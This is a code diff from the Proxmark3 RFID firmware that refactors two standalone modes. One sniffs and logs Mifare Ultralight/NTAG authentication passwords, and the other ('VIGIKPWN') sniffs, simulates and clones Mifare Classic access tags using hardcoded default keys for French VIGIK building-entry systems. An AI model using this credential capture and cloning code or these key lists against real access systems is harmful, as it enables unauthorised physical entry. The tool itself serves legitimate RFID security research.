Maximum number of auth attempts per standalone session #define MAX_PWDS_PER_SESSION 64 -uint8_t FindOffsetInFlash() { - uint8_t mem[4] = { 0x00, 0x00, 0x00, 0x00 }; - uint8_t eom[4] = { 0xFF, 0xFF, 0xFF, 0xFF }; - uint8_t memcnt = 0; - - while (memcnt < 0xFF) { - Flash_ReadData(memcnt, mem, 4); - if (memcmp(mem, eom, 4) == 0) { - return memcnt; - } - memcnt += 4; - } - - return 0; // wrap-around -} - -void EraseMemory() { - if (!FlashInit()) { - return; - } - - Flash_CheckBusy(BUSY_TIMEOUT); - Flash_WriteEnable(); - Flash_Erase4k(0, 0); - - if (DBGLEVEL > 1) Dbprintf("[!] Erased flash!"); - FlashStop(); - SpinDelay(100); -} +#define HF_BOG_LOGFILE "hf_bog.log" // This is actually copied from SniffIso14443a void RAMFUNC SniffAndStore(uint8_t param) { @@ -90,19 +73,20 @@ void RAMFUNC SniffAndStore(uint8_t param) { bool ReaderIsActive = false; // Set up the demodulator for tag -> reader responses. - DemodInit(receivedResp, receivedRespPar); + Demod14aInit(receivedResp, receivedRespPar); // Set up the demodulator for the reader -> tag commands - UartInit(receivedCmd, receivedCmdPar); + Uart14aInit(receivedCmd, receivedCmdPar); // Setup and start DMA. - if (!FpgaSetupSscDma((uint8_t *) dmaBuf, DMA_BUFFER_SIZE)) { - if (DBGLEVEL > 1) Dbprintf("FpgaSetupSscDma failed. Exiting"); + if (!FpgaSetupSscDma((uint8_t *)dmaBuf, DMA_BUFFER_SIZE)) { + if (DBGLEVEL > 1) + Dbprintf("FpgaSetupSscDma failed. Exiting"); return; } - tUart *uart = GetUart(); - tDemod *demod = GetDemod(); + tUart14a *uart = GetUart14a(); + tDemod14a *demod = GetDemod14a(); // We won't start recording the frames that we acquire until we trigger; // a good trigger condition to get started is probably when we see a @@ -134,17 +118,18 @@ void RAMFUNC SniffAndStore(uint8_t param) { Dbprintf("[!] blew circular buffer! | datalen %u", dataLen); break; } - if (dataLen < 1) continue; + if (dataLen < 1) + continue; // primary buffer was stopped( <-- we lost data! if (!AT91C_BASE_PDC_SSC->PDC_RCR) { - AT91C_BASE_PDC_SSC->PDC_RPR = (uint32_t) dmaBuf; + AT91C_BASE_PDC_SSC->PDC_RPR = (uint32_t)dmaBuf; AT91C_BASE_PDC_SSC->PDC_RCR = DMA_BUFFER_SIZE; - //Dbprintf("[-] RxEmpty ERROR | data length %d", dataLen); // temporary + // Dbprintf("[-] RxEmpty ERROR | data length %d", dataLen); // temporary } // secondary buffer sets as primary, secondary buffer was stopped if (!AT91C_BASE_PDC_SSC->PDC_RNCR) { - AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t) dmaBuf; + AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t)dmaBuf; AT91C_BASE_PDC_SSC->PDC_RNCR = DMA_BUFFER_SIZE; } @@ -159,32 +144,33 @@ void RAMFUNC SniffAndStore(uint8_t param) { LED_C_ON(); // check - if there is a short 7bit request from reader - if ((!triggered) && (param & 0x02) && (uart->len == 1) && (uart->bitCount == 7)) triggered = true; + if ((!triggered) && (param & 0x02) && (uart->len == 1) && (uart->bitCount == 7)) + triggered = true; if (triggered) { - if ((receivedCmd) && ((receivedCmd[0] == MIFARE_ULEV1_AUTH) || (receivedCmd[0] == MIFARE_ULC_AUTH_1))) { - if (DBGLEVEL > 1) Dbprintf("PWD-AUTH KEY: 0x%02x%02x%02x%02x", receivedCmd[1], receivedCmd[2], receivedCmd[3], receivedCmd[4]); + if ((receivedCmd) && + ((receivedCmd[0] == MIFARE_ULEV1_AUTH) || (receivedCmd[0] == MIFARE_ULC_AUTH_1))) { + if (DBGLEVEL > 1) + Dbprintf("PWD-AUTH KEY: 0x%02x%02x%02x%02x", receivedCmd[1], receivedCmd[2], + receivedCmd[3], receivedCmd[4]); // temporarily save the captured pwd in our array memcpy(&capturedPwds[4 * auth_attempts], receivedCmd + 1, 4); auth_attempts++; } - if (!LogTrace(receivedCmd, - uart->len, - uart->startTime * 16 - DELAY_READER_AIR2ARM_AS_SNIFFER, - uart->endTime * 16 - DELAY_READER_AIR2ARM_AS_SNIFFER, - uart->parity, - true)) break; + if (!LogTrace(receivedCmd, uart->len, uart->startTime * 16 - DELAY_READER_AIR2ARM_AS_SNIFFER, + uart->endTime * 16 - DELAY_READER_AIR2ARM_AS_SNIFFER, uart->parity, true)) + break; } /* ready to receive another command. */ - UartReset(); + Uart14aReset(); /* reset the demod code, which might have been */ /* false-triggered by the commands from the reader. */ - DemodReset(); + Demod14aReset(); LED_B_OFF(); } - ReaderIsActive = (uart->state != STATE_UNSYNCD); + ReaderIsActive = (uart->state != STATE_14A_UNSYNCD); } // no need to try decoding tag data if the reader is sending - and we cannot afford the time @@ -193,23 +179,21 @@ void RAMFUNC SniffAndStore(uint8_t param) { if (ManchesterDecoding(tagdata, 0, (my_rsamples - 1) * 4)) { LED_B_ON(); - if (!LogTrace(receivedResp, - demod->len, - demod->startTime * 16 - DELAY_TAG_AIR2ARM_AS_SNIFFER, - demod->endTime * 16 - DELAY_TAG_AIR2ARM_AS_SNIFFER, - demod->parity, - false)) break; + if (!LogTrace(receivedResp, demod->len, demod->startTime * 16 - DELAY_TAG_AIR2ARM_AS_SNIFFER, + demod->endTime * 16 - DELAY_TAG_AIR2ARM_AS_SNIFFER, demod->parity, false)) + break; - if ((!triggered) && (param & 0x01)) triggered = true; + if ((!triggered) && (param & 0x01)) + triggered = true; // ready to receive another response. - DemodReset(); + Demod14aReset(); // reset the Miller decoder including its (now outdated) input buffer - UartReset(); - //UartInit(receivedCmd, receivedCmdPar); + Uart14aReset(); + // UartInit(receivedCmd, receivedCmdPar); LED_C_OFF(); } - TagIsActive = (demod->state != DEMOD_UNSYNCD); + TagIsActive = (demod->state != DEMOD_14A_UNSYNCD); } } @@ -228,61 +212,27 @@ void RAMFUNC SniffAndStore(uint8_t param) { SpinDelay(200); - // Write stuff to flash + // Write stuff to spiffs logfile if (auth_attempts > 0) { - if (DBGLEVEL > 1) Dbprintf("[!] Authentication attempts = %u", auth_attempts); + if (DBGLEVEL > 1) + Dbprintf("[!] Authentication attempts = %u", auth_attempts); - // Setting the SPI Baudrate to 48MHz to avoid the bit-flip issue (https://github.com/RfidResearchGroup/proxmark3/issues/34) - FlashmemSetSpiBaudrate(48000000); - - // Find the offset in flash mem to continue writing the auth attempts - uint8_t memoffset = FindOffsetInFlash(); - if (DBGLEVEL > 1) Dbprintf("[!] Memory offset = %u", memoffset); - - if ((memoffset + 4 * auth_attempts) > 0xFF) { - // We opt to keep the new data only - memoffset = 0; - if (DBGLEVEL > 1) Dbprintf("[!] Size of total data > 256 bytes. Discarding the old data."); + if (!exists_in_spiffs((char *)HF_BOG_LOGFILE)) { + rdv40_spiffs_write((char *)HF_BOG_LOGFILE, capturedPwds, 4 * auth_attempts, RDV40_SPIFFS_SAFETY_SAFE); + } else { + rdv40_spiffs_append((char *)HF_BOG_LOGFILE, capturedPwds, 4 * auth_attempts, RDV40_SPIFFS_SAFETY_SAFE); } - - // Get previous data from flash mem - uint8_t *previousdata = BigBuf_malloc(memoffset); - if (memoffset > 0) { - uint16_t readlen = Flash_ReadData(0, previousdata, memoffset); - if (DBGLEVEL > 1) Dbprintf("[!] Read %u bytes from flash mem", readlen); - } - - // create new bigbuf to hold all data - size_t total_size = memoffset + 4 * auth_attempts; - uint8_t *total_data = BigBuf_malloc(total_size); - - // Add the previousdata array into total_data array - memcpy(total_data, previousdata, memoffset); - - // Copy bytes of capturedPwds immediately following bytes of previousdata - memcpy(total_data + memoffset, capturedPwds, 4 * auth_attempts); - - // Erase first page of flash mem - EraseMemory(); - - // Write total data to flash mem - uint16_t writelen = Flash_WriteData(0, total_data, memoffset + 4 * auth_attempts); - if (DBGLEVEL > 1) Dbprintf("[!] Wrote %u bytes into flash mem", writelen); - - // If pwd saved successfully, blink led A three times - if (writelen > 0) { - SpinErr(0, 200, 5); // blink led A - } - - SpinDelay(100); - - // Reset the SPI Baudrate to the default value (24MHz) - FlashmemSetSpiBaudrate(24000000); } + + if (DBGLEVEL > 1) + Dbprintf("[!] Wrote %u Authentification attempts into logfile", auth_attempts); + + SpinErr(LED_A, 200, 5); + SpinDelay(100); } void ModInfo(void) { - DbpString(" HF 14a sniff standalone with ULC/ULEV1/NTAG auth storing in flashmem - aka BogitoRun (Bogito)"); + DbpString(" HF 14a sniff standalone with ULC/ULEV1/NTAG auth storing in flashmem - aka BogitoRun (Bogito)"); } void RunMod() { @@ -299,5 +249,5 @@ void RunMod() { LEDsoff(); SpinDelay(300); Dbprintf("- [ End ] -> You can take shell back ..."); - Dbprintf("- [ ! ] -> use 'script run read_pwd_mem' to print passwords"); + Dbprintf("- [ ! ] -> use 'script run read_pwd_mem_spiffs' to print passwords"); } diff --git a/armsrc/Standalone/hf_bog.h b/armsrc/Standalone/hf_bog.h deleted file mode 100644 index 3dd68b3e2..000000000 --- a/armsrc/Standalone/hf_bog.h +++ /dev/null @@ -1,26 +0,0 @@ -//----------------------------------------------------------------------------- -// This code is licensed to you under the terms of the GNU GPL, version 2 or, -// at your option, any later version. See the LICENSE.txt file for the text of -// the license. -//----------------------------------------------------------------------------- -// StandAlone Mod -//----------------------------------------------------------------------------- - -#ifndef __HF_BOG_H -#define __HF_BOG_H - -#include "proxmark3.h" -#include "mifareutil.h" -#include "iso14443a.h" -#include "protocols.h" -#include "util.h" -#include "standalone.h" // standalone definitions -#include // for bool -#include -#include -#include "apps.h" -#include "printf.h" -#include "parity.h" - - -#endif /* __HF_BOG_H */ diff --git a/armsrc/Standalone/hf_colin.c b/armsrc/Standalone/hf_colin.c index 76eefcc14..ffe2a613f 100644 --- a/armsrc/Standalone/hf_colin.c +++ b/armsrc/Standalone/hf_colin.c @@ -1,5 +1,5 @@ //----------------------------------------------------------------------------- -// Colin Brigato, 2016, 2017 +// Colin Brigato, 2016, 2017, 2018, 2019 // Christian Herrmann, 2017 // // This code is licensed to you under the terms of the GNU GPL, version 2 or, @@ -8,11 +8,78 @@ //----------------------------------------------------------------------------- // main code for HF Mifare aka ColinRun by Colin Brigato //----------------------------------------------------------------------------- + +#include "standalone.h" // standalone definitions + #include "hf_colin.h" +#include "proxmark3_arm.h" +#include "appmain.h" +#include "fpgaloader.h" +#include "dbprint.h" +#include "ticks.h" +#include "util.h" +#include "commonutil.h" +#include "BigBuf.h" +#include "iso14443a.h" +#include "mifareutil.h" +#include "mifaresim.h" +#include "vtsend.h" +#include "spiffs.h" +#include "frozen.h" #define MF1KSZ 1024 #define MF1KSZSIZE 64 #define AUTHENTICATION_TIMEOUT 848 +#define HFCOLIN_LASTTAG_SYMLINK "hf_colin/lasttag.bin" +#define HFCOLIN_SCHEMAS_JSON "hf_colin/schemas.json" + +/* Example jsonconfig file schemas.json : (array !) +[{ + "name": "UrmetCaptive", + "trigger": "0x8829da9daf76", + "keysA": [ + "0x8829da9daf76", + "0x8829da9daf76", + "0x8829da9daf76", + "0x8829da9daf76", + "0x8829da9daf76", + "0x8829da9daf76", + "0x8829da9daf76", + "0x8829da9daf76", + "0x8829da9daf76", + "0x8829da9daf76", + "0x8829da9daf76", + "0x8829da9daf76", + "0x8829da9daf76", + "0x8829da9daf76", + "0x8829da9daf76", + "0x8829da9daf76" + ], + "keysB": [ + "0x8829da9daf76", + "0x8829da9daf76", + "0x8829da9daf76", + "0x8829da9daf76", + "0x8829da9daf76", + "0x8829da9daf76", + "0x8829da9daf76", + "0x8829da9daf76", + "0x8829da9daf76", + "0x8829da9daf76", + "0x8829da9daf76", + "0x8829da9daf76", + "0x8829da9daf76", + "0x8829da9daf76", + "0x8829da9daf76", + "0x8829da9daf76" + ] +},{ + "name": "Noralsy", +... + +] + +*/ uint8_t cjuid[10]; uint32_t cjcuid; @@ -26,40 +93,128 @@ int curlline; // Colin's VIGIKPWN sniff/simulate/clone repeat routine for HF Mifare -/* -void cjPrintBigArray(const char *bigar, int len, uint8_t newlines, uint8_t debug) -{ - uint32_t chunksize = (PM3_CMD_DATA_SIZE / 4); - uint8_t totalchunks = len / chunksize; - uint8_t last_chunksize = len - (totalchunks * chunksize); - char chunk[chunksize + 1]; - memset(chunk, 0x00, sizeof(chunk)); - if (debug > 0) - { - Dbprintf("len : %d", len); - Dbprintf("chunksize : %d bytes", chunksize); - Dbprintf("totalchunks : %d", totalchunks); - Dbprintf("last_chunksize: %d", last_chunksize); - } - for (uint8_t i = 0; i < totalchunks; i++) - { - memset(chunk, 0x00, sizeof(chunk)); - memcpy(chunk, &bigar[i * chunksize], chunksize); - DbprintfEx(FLAG_RAWPRINT, "%s", chunk); - } - if (last_chunksize > 0) - { - memset(chunk, 0x00, sizeof(chunk)); - memcpy(chunk, &bigar[totalchunks * chunksize], last_chunksize); - DbprintfEx(FLAG_RAWPRINT, "%s", chunk); - } - if (newlines > 0) - { - DbprintfEx(FLAG_NEWLINE, " "); +static const uint8_t is_hex[] = { + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 0, 0, 0, 0, 0, 0, + 0, 11, 12, 13, 14, 15, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 11, 12, 13, 14, 15, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 +}; + +static inline uint64_t hex2i(const char *s) { + uint64_t val = 0; + if (s == NULL || s[0] == 0) + return 0; + if (s[1] == 'x') + s += 2; + else if (*s == 'x') + s++; + while (is_hex[(uint8_t)*s]) + val = (val << 4) | (is_hex[(uint8_t) * (s++)] - 1); + return val; +} + +/*char *noralsy2test = + "{\"name\":\"noralsy2\",\"trigger\":\"0x414C41524F4E\",\"keysA\":[\"0x414C41524F4E\",\"0x414C41524F4E\"," + "\"0x414C41524F4E\"," + "\"0x414C41524F4E\",\"0x414C41524F4E\",\"0x414C41524F4E\",\"0x414C41524F4E\",\"0x414C41524F4E\"," + "\"0x414C41524F4E\",\"0x414C41524F4E\"," + "\"0x414C41524F4E\",\"0x414C41524F4E\",\"0x414C41524F4E\",\"0x414C41524F4E\",\"0x414C41524F4E\"," + "\"0x414C41524F4E\"],\"keysB\":[" + "\"0x424C41524F4E\",\"0x424C41524F4E\",\"0x424C41524F4E\",\"0x424C41524F4E\",\"0x424C41524F4E\"," + "\"0x424C41524F4E\",\"0x424C41524F4E\"," + "\"0x424C41524F4E\",\"0x424C41524F4E\",\"0x424C41524F4E\",\"0x424C41524F4E\",\"0x424C41524F4E\"," + "\"0x424C41524F4E\",\"0x424C41524F4E\"," + "\"0x424C41524F4E\",\"0x424C41524F4E\"]}";*/ + +/*char *urmetcaptive2test = + "{\"name\":\"urmetcaptive2\",\"trigger\":\"0x8829da9daf76\",\"keysA\":[\"0x8829da9daf76\",\"0x8829da9daf76\"," + "\"0x8829da9daf76\"," + "\"0x8829da9daf76\",\"0x8829da9daf76\",\"0x8829da9daf76\",\"0x8829da9daf76\",\"0x8829da9daf76\"," + "\"0x8829da9daf76\",\"0x8829da9daf76\"," + "\"0x8829da9daf76\",\"0x8829da9daf76\",\"0x8829da9daf76\",\"0x8829da9daf76\",\"0x8829da9daf76\"," + "\"0x8829da9daf76\"],\"keysB\":[" + "\"0x8829da9daf76\",\"0x8829da9daf76\",\"0x8829da9daf76\",\"0x8829da9daf76\",\"0x8829da9daf76\"," + "\"0x8829da9daf76\",\"0x8829da9daf76\"," + "\"0x8829da9daf76\",\"0x8829da9daf76\",\"0x8829da9daf76\",\"0x8829da9daf76\",\"0x8829da9daf76\"," + "\"0x8829da9daf76\",\"0x8829da9daf76\"," + "\"0x8829da9daf76\",\"0x8829da9daf76\"]}";*/ + +typedef struct MFC1KSchema { + uint8_t name[32]; + uint64_t trigger; + uint64_t keysA[16]; + uint64_t keysB[16]; +} MFC1KSchema; + +#define MAX_SCHEMAS 4 + +static void scan_keys(const char *str, int len, uint64_t *user_data) { + struct json_token t; + int i; + char ks[32]; + for (i = 0; json_scanf_array_elem(str, len, "", i, &t) > 0; i++) { + sprintf(ks, "%.*s", t.len, t.ptr); + user_data[i] = hex2i(ks); } } + +MFC1KSchema Schemas[MAX_SCHEMAS]; + +/*MFC1KSchema Noralsy = { + .name = "Noralsy", + .trigger = 0x414c41524f4e, + .keysA = {0x414c41524f4e, 0x414c41524f4e, 0x414c41524f4e, 0x414c41524f4e, 0x414c41524f4e, 0x414c41524f4e, + 0x414c41524f4e, 0x414c41524f4e, 0x414c41524f4e, 0x414c41524f4e, 0x414c41524f4e, 0x414c41524f4e, + 0x414c41524f4e, 0x414c41524f4e, 0x414c41524f4e, 0x414c41524f4e}, + .keysB = {0x424c41524f4e, 0x424c41524f4e, 0x424c41524f4e, 0x424c41524f4e, 0x424c41524f4e, 0x424c41524f4e, + 0x424c41524f4e, 0x424c41524f4e, 0x424c41524f4e, 0x424c41524f4e, 0x424c41524f4e, 0x424c41524f4e, + 0x424c41524f4e, 0x424c41524f4e, 0x424c41524f4e, 0x424c41524f4e}}; + +MFC1KSchema InfiHexact = {.name = "Infineon/Hexact", + .trigger = 0x484558414354, + .keysA = {0x484558414354, 0x484558414354, 0x484558414354, 0x484558414354, 0x484558414354, + 0x484558414354, 0x484558414354, 0x484558414354, 0x484558414354, 0x484558414354, + 0x484558414354, 0x484558414354, 0x484558414354, 0x484558414354, 0x484558414354, + 0x484558414354}, + .keysB = {0xa22ae129c013, 0x49fae4e3849f, 0x38fcf33072e0, 0x8ad5517b4b18, 0x509359f131b1, + 0x6c78928e1317, 0xaa0720018738, 0xa6cac2886412, 0x62d0c424ed8e, 0xe64a986a5d94, + 0x8fa1d601d0a2, 0x89347350bd36, 0x66d2b7dc39ef, 0x6bc1e1ae547d, 0x22729a9bd40f}}; */ +/*MFC1KSchema UrmetCaptive = { + .name = "Urmet Captive", + .trigger = 0x8829da9daf76, + .keysA = {0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, + 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, + 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76}, + .keysB = {0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, + 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, + 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76}}; +*/ + +int total_schemas = 0; + +void add_schema(MFC1KSchema *p, MFC1KSchema a, int *schemas_counter) { + if (*schemas_counter < MAX_SCHEMAS) { + p[*schemas_counter] = a; + *schemas_counter += 1; + } +} + +void delete_schema(MFC1KSchema *p, int *schemas_counter, int index) { + if (*schemas_counter > 0 && index < *schemas_counter && index > -1) { + int last_index = *schemas_counter - 1; + for (int i = index; i < last_index; i++) { + p[i] = p[i + 1]; + } + *schemas_counter -= 1; + } +} + void cjSetCursFRight() { vtsend_cursor_position(NULL, 98, (currfline)); currfline++; @@ -80,59 +235,72 @@ void cjTabulize() { DbprintfEx(FLAG_RAWPRINT, "\t\t\t"); } /* void cjPrintKey(uint64_t key, uint8_t *foundKey, uint16_t sectorNo, uint8_t type) { char tosendkey[13]; - sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[0], foundKey[1], foundKey[2], foundKey[3], foundKey[4], foundKey[5]); - cjSetCursRight(); - DbprintfEx(FLAG_NEWLINE, "SEC: %02x | KEY : %s | TYP: %d", sectorNo, tosendkey, type); + sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[0], foundKey[1], foundKey[2], foundKey[3], foundKey[4], +foundKey[5]); cjSetCursRight(); DbprintfEx(FLAG_NEWLINE, "SEC: %02x | KEY : %s | TYP: %d", sectorNo, tosendkey, type); } */ +char *ReadSchemasFromSPIFFS(char *filename) { + SpinOff(0); + + int changed = rdv40_spiffs_lazy_mount(); + uint32_t size = size_in_spiffs((char *)filename); + uint8_t *mem = BigBuf_malloc(size); + rdv40_spiffs_read_as_filetype((char *)filename, (uint8_t *)mem, size, RDV40_SPIFFS_SAFETY_SAFE); + + if (changed) { + rdv40_spiffs_lazy_unmount(); + } + SpinOff(0); + return (char *)mem; +} + +void add_schemas_from_json_in_spiffs(char *filename) { + + char *jsonfile = ReadSchemasFromSPIFFS((char *)filename); + + int i, len = strlen(jsonfile); + struct json_token t; + for (i = 0; json_scanf_array_elem(jsonfile, len, "", i, &t) > 0; i++) { + char *tmpname; + char *tmptrigger; + MFC1KSchema tmpscheme; + json_scanf(t.ptr, t.len, "{ name:%Q, trigger:%Q, keysA:%M, keysB:%M}", &tmpname, &tmptrigger, scan_keys, + &tmpscheme.keysA, scan_keys, &tmpscheme.keysB); + memcpy(tmpscheme.name, tmpname, 32); + tmpscheme.trigger = hex2i(tmptrigger); + add_schema(Schemas, tmpscheme, &total_schemas); + DbprintfEx(FLAG_NEWLINE, "Schema loaded : %s", tmpname); + cjSetCursLeft(); + } +} + void ReadLastTagFromFlash() { SpinOff(0); LED_A_ON(); LED_B_ON(); LED_C_ON(); LED_D_ON(); - uint32_t startidx = 0; uint16_t len = 1024; + size_t size = len; DbprintfEx(FLAG_NEWLINE, "Button HELD ! Using LAST Known TAG for Simulation..."); cjSetCursLeft(); - size_t size = len; uint8_t *mem = BigBuf_malloc(size); - if (!FlashInit()) { - return; - } - Flash_CheckBusy(BUSY_TIMEOUT); + // this one will handle filetype (symlink or not) and resolving by itself + rdv40_spiffs_read_as_filetype((char *)HFCOLIN_LASTTAG_SYMLINK, (uint8_t *)mem, len, RDV40_SPIFFS_SAFETY_SAFE); - uint32_t start_time = GetTickCount(); - uint32_t delta_time = 0; + emlSetMem(mem, 0, 64); - for (size_t i = 0; i < len; i += size) { - len = MIN((len - i), size); - uint16_t isok = Flash_ReadDataCont(startidx + i, mem, len); - if (isok == len) { - emlSetMem(mem, 0, 64); - } else { - DbprintfEx(FLAG_NEWLINE, "FlashMem reading failed | %d | %d", len, isok); - cjSetCursLeft(); - FlashStop(); - SpinOff(100); - return; - } - } - delta_time = GetTickCountDelta(start_time); DbprintfEx(FLAG_NEWLINE, "[OK] Last tag recovered from FLASHMEM set to emulator"); cjSetCursLeft(); - DbprintfEx(FLAG_NEWLINE, "%s[IN]%s %s%dms%s for TAG_FLASH_READ", _XGREEN_, _XWHITE_, _XYELLOW_, delta_time, _XWHITE_); - cjSetCursLeft(); - FlashStop(); SpinOff(0); return; } -void WriteTagToFlash(uint8_t index, size_t size) { +void WriteTagToFlash(uint32_t uid, size_t size) { SpinOff(0); LED_A_ON(); LED_B_ON(); @@ -140,68 +308,37 @@ void WriteTagToFlash(uint8_t index, size_t size) { LED_D_ON(); uint32_t len = size; - uint32_t bytes_sent = 0; - uint32_t bytes_remaining = len; - uint8_t data[(size * (16 * 64)) / 1024]; - uint8_t buff[PAGESIZE]; emlGetMem(data, 0, (size * 64) / 1024); - if (!FlashInit()) { - return; - } + char dest[SPIFFS_OBJ_NAME_LEN]; + uint8_t buid[4]; + num_to_bytes(uid, 4, buid); + sprintf(dest, "hf_colin/mf_%02x%02x%02x%02x.bin", buid[0], buid[1], buid[2], buid[3]); - Flash_CheckBusy(BUSY_TIMEOUT); - Flash_WriteEnable(); - Flash_Erase4k(0, 0); + // TODO : by using safe function for multiple writes we are both breaking cache mecanisms and making useless and + // unoptimized mount operations we should manage at out level the mount status before and after the whole + // standalone mode + rdv40_spiffs_write((char *)dest, (uint8_t *)data, len, RDV40_SPIFFS_SAFETY_SAFE); + // lastag will only contain filename/path to last written tag file so we don't loose time or space. + rdv40_spiffs_make_symlink((char *)dest, (char *)HFCOLIN_LASTTAG_SYMLINK, RDV40_SPIFFS_SAFETY_SAFE); - uint32_t start_time = GetTickCount(); - uint32_t delta_time = 0; - - while (bytes_remaining > 0) { - Flash_CheckBusy(BUSY_TIMEOUT); - Flash_WriteEnable(); - - uint32_t bytes_in_packet = MIN(FLASH_MEM_BLOCK_SIZE, bytes_remaining); - - memcpy(buff, data + bytes_sent, bytes_in_packet); - - bytes_remaining -= bytes_in_packet; - uint16_t res = Flash_WriteDataCont(bytes_sent + (index * size), buff, bytes_in_packet); - bytes_sent += bytes_in_packet; - - uint8_t isok = (res == bytes_in_packet) ? 1 : 0; - - if (!isok) { - DbprintfEx(FLAG_NEWLINE, "FlashMem write FAILEd [offset %u]", bytes_sent); - cjSetCursLeft(); - SpinOff(100); - return; - } - - LED_A_INV(); - LED_B_INV(); - LED_C_INV(); - LED_D_INV(); - } - delta_time = GetTickCountDelta(start_time); - - DbprintfEx(FLAG_NEWLINE, "[OK] TAG WRITTEN TO FLASH ! [0-to offset %u]", bytes_sent); + DbprintfEx(FLAG_NEWLINE, "[OK] TAG WRITTEN TO FLASH !"); cjSetCursLeft(); - DbprintfEx(FLAG_NEWLINE, "%s[IN]%s %s%dms%s for TAG_FLASH_WRITE", _XGREEN_, _XWHITE_, _XYELLOW_, delta_time, _XWHITE_); - cjSetCursLeft(); - FlashStop(); SpinOff(0); return; } -void ModInfo(void) { - DbpString(" HF Mifare ultra fast sniff/sim/clone - aka VIGIKPWN (Colin Brigato)"); -} +void ModInfo(void) { DbpString(" HF Mifare ultra fast sniff/sim/clone - aka VIGIKPWN (Colin Brigato)"); } void RunMod() { StandAloneMode(); + + // add_schema(Schemas, Noralsy, &total_schemas); + // add_schema(Schemas, InfiHexact, &total_schemas); + // add_schema_from_json_in_spiffs((char *)HFCOLIN_URMETCAPTIVE_JSON); + // add_schema(Schemas, UrmetCaptive, &total_schemas); FpgaDownloadAndGo(FPGA_BITSTREAM_HF); currline = 20; @@ -210,7 +347,7 @@ void RunMod() { memset(cjuid, 0, sizeof(cjuid)); cjcuid = 0; uint8_t sectorsCnt = (MF1KSZ / MF1KSZSIZE); - uint64_t key64; // Defines current key + uint64_t key64; // Defines current key uint8_t *keyBlock; // Where the keys will be held in memory. /* VIGIK EXPIRED DUMP FOR STUDY @@ -249,15 +386,13 @@ void RunMod() { ACCBITS : 796788[00]+VALUE */ - //---------------------------- - // Set of keys to be used. - // This should cover ~98% of - // French VIGIK system @2017 - //---------------------------- +//---------------------------- +// Set of keys to be used. +// This should cover ~98% of +// French VIGIK system @2017 +//---------------------------- -#define STKEYS 37 - - const uint64_t mfKeys[STKEYS] = { + const uint64_t mfKeys[] = { 0xffffffffffff, // TRANSPORTS 0x000000000000, // Blankkey 0x484558414354, // INFINEONON A / 0F SEC B / INTRATONE / HEXACT... @@ -298,8 +433,8 @@ void RunMod() { }; // Can remember something like that in case of Bigbuf - keyBlock = BigBuf_malloc(STKEYS * 6); - int mfKeysCnt = sizeof(mfKeys) / sizeof(uint64_t); + keyBlock = BigBuf_malloc(ARRAYLEN(mfKeys) * 6); + int mfKeysCnt = ARRAYLEN(mfKeys); for (int mfKeyCounter = 0; mfKeyCounter < mfKeysCnt; mfKeyCounter++) { num_to_bytes(mfKeys[mfKeyCounter], 6, (uint8_t *)(keyBlock + mfKeyCounter * 6)); @@ -338,6 +473,8 @@ void RunMod() { currfline = 24; cjSetCursLeft(); + add_schemas_from_json_in_spiffs((char *)HFCOLIN_SCHEMAS_JSON); + failtag: vtsend_cursor_position_save(NULL); @@ -350,7 +487,7 @@ failtag: SpinOff(50); LED_A_ON(); uint8_t ticker = 0; - //while (!BUTTON_PRESS() && !iso14443a_select_card(cjuid, NULL, &cjcuid, true, 0, true)) + // while (!BUTTON_PRESS() && !iso14443a_select_card(cjuid, NULL, &cjcuid, true, 0, true)) while (!iso14443a_select_card(cjuid, &p_card, &cjcuid, true, 0, true)) { WDT_HIT(); @@ -381,7 +518,7 @@ failtag: if (cjcuid == 0) { cjSetCursLeft(); DbprintfEx(FLAG_NEWLINE, "%s>>%s BUG: 0000_CJCUID! Retrying...", _XRED_, _XWHITE_); - SpinErr(0, 100, 8); + SpinErr(LED_A, 100, 8); goto failtag; } @@ -424,7 +561,7 @@ failtag: //----------------------------------------------------------------------------- // also we could avoid first UID check for every block - // then let’s expose this “optimal case†of “well known vigik schemes†: + // then let's expose this optimal case of well known vigik schemes : for (uint8_t type = 0; type < 2 && !err && !trapped; type++) { for (int sec = 0; sec < sectorsCnt && !err && !trapped; ++sec) { key = cjat91_saMifareChkKeys(sec * 4, type, NULL, size, &keyBlock[0], &key64); @@ -432,8 +569,8 @@ failtag: if (key == -1) { err = 1; allKeysFound = false; - // used in “portable†imlementation on microcontroller: it reports back the fail and open the 